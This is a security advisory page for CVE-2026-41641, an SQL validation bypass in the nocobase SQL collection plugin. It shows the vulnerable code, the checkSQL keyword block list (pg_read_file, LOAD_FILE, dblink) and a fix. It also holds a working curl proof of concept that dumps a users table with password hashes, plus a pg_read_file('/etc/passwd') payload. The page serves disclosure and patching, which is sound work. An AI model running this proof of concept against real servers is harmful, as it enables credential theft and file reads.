Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-41641 — nocobase

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-284 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing checkSQL Call

Summary

The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.

Affected component: @nocobase/plugin-collection-sql

Affected versions: <= 2.0.32 (confirmed)

Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)

Vulnerable Code

checkSQL is applied on create and execute

packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts

```javascript

// Line 51-60 — execute action: checkSQL IS called

execute: async (ctx: Context, next: Next) => {

const { sql } = ctx.action.params.values || {};

try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }

// ...

}

```

checkSQL is NOT applied on update

```javascript

// Line 105-118 — update action: checkSQL IS NOT called

update: async (ctx: Context, next: Next) => {

const transaction = await ctx.app.db.sequelize.transaction();

try {

const { upRes } = await updateCollection(ctx, transaction);

// No checkSQL() call anywhere in this path!

const [collection] = upRes;

await collection.load({ transaction, resetFields: true });

await transaction.commit();

}

// ...

}

```

The checkSQL function itself

packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28

```javascript

export const checkSQL = (sql: string) => {

const dangerKeywords = [

'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',

'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...

];

sql = sql.trim().split(';').shift();

if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {

throw new Error('Only supports SELECT statements or WITH clauses');

}

if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {

throw new Error('SQL statements contain dangerous keywords');

}

};

```

PoC

```bash

TOKEN="<admin_jwt_token>"

# Step 1: Create collection with valid SQL (passes checkSQL)

curl -s http://TARGET:13000/api/collections:create \

-H "Authorization: Bearer $TOKEN" \

-H "Content-Type: application/json" \

-d '{

"name": "exfil_collection",

"sql": "SELECT 1 as id",

"fields": [{"name": "id", "type": "integer"}],

"template": "sql"

}'

# Step 2: Verify checkSQL blocks dangerous SQL on create

curl -s http://TARGET:13000/api/collections:create \

-H "Authorization: Bearer $TOKEN" \

-H "Content-Type: application/json" \

-d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'

# Returns: 400 "SQL statements contain dangerous keywords"

# Step 3: Update with dangerous SQL — bypasses checkSQL entirely

curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \

-X POST \

-H "Authorization: Bearer $TOKEN" \

-H "Content-Type: application/json" \

-d '{

"sql": "SELECT * FROM users",

"fields": [

{"name": "id", "type": "integer"},

{"name": "email", "type": "string"},

{"name": "password", "type": "string"}

]

}'

# Returns: 200 OK — no validation!

# Step 4: Query the collection to exfiltrate data

curl -s "http://TARGET:13000/api/exfil_collection:list" \

-H "Authorization: Bearer $TOKEN"

# Returns: all rows from users table including password hashes

```

Impact

  • Confidentiality: Arbitrary SELECT queries exfiltrate any table. Confirmed dump of the users table including password hashes.
  • Integrity/Availability: Although checkSQL strips after the first semicolon, dangerous single-statement operations like SELECT ... INTO, subqueries with side effects, or database-specific functions (pg_read_file, LOAD_FILE, dblink) are all accessible through the update bypass.
  • Privilege escalation: On PostgreSQL, dblink enables lateral movement to other databases. pg_read_file reads arbitrary files from the database server filesystem.

Fix Suggestion

1. Add checkSQL() to the update action. The one-line fix:

```javascript

update: async (ctx: Context, next: Next) => {

const { sql } = ctx.action.params.values || {};

if (sql) {

try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }

}

// ... existing code ...

}

```

2. Centralize validation in middleware rather than per-action. Apply checkSQL in the resource middleware for any action that accepts a sql field, so future actions cann

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs administrative privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: High — administrative rights are needed first.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-41641 is classified as CWE-284: Improper Access Control. The software does not restrict an action to the actors that should be allowed to perform it.

Affected software

CVE-2026-41641 is recorded against 2 packages.

  • @nocobase/plugin-collection-sql
  • nocobase (fixed in 2.0.39)

Timeline and source

Published on 22 April 2026 and last revised on 8 May 2026. No public exploit is currently recorded for this entry. A vendor advisory or fix has been published. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Other advisories for this package

@nocobase/plugin-collection-sql has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-284: Improper Access Control) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE CWE-284
Public Exploit ✅ No
Source NVD
Published 2026-04-22
Updated 2026-08-20
Modified 2026-05-08

Affected Packages

Software From version Fixed in
@nocobase/plugin-collection-sql
nocobase 2.0.39

Similar Threats

Site Security Check

Is nocobase part of your stack?

CVE-2026-41641 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026